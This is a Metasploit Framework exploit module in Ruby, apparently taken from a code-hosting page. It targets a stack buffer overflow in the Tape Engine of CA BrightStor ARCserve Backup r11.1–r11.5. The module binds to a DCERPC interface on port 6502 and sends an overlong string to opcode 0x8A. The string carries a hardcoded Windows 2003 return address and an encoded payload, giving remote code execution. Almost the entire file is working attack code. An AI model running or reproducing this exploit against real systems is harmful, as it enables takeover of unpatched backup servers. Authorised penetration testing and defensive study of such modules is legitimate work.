93 lines
2.2 KiB
Ruby
93 lines
2.2 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::DCERPC
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
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r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
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the buffer and execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '68330'],
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[ 'URL', 'http://www.metasploit.com/users/mc' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ],
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],
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'DisclosureDate' => 'Oct 4 2010',
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'DefaultTarget' => 0))
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register_options([ Opt::RPORT(6502) ], self.class)
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end
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def exploit
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connect
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handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"
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request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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dcerpc.call(0x2B, request)
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sploit = NDR.long(4)
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sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")
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print_status("Trying target #{target.name}...")
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begin
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dcerpc_call(0x8A, sploit)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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end
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handler
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disconnect
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end
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end
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=begin
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/* opcode: 0x8A, address: 0x100707D0 */
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long sub_100707D0 (
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[in] handle_t arg_1,
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[in] long arg_2,
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[in][ref][string] char * arg_3
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);
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=end
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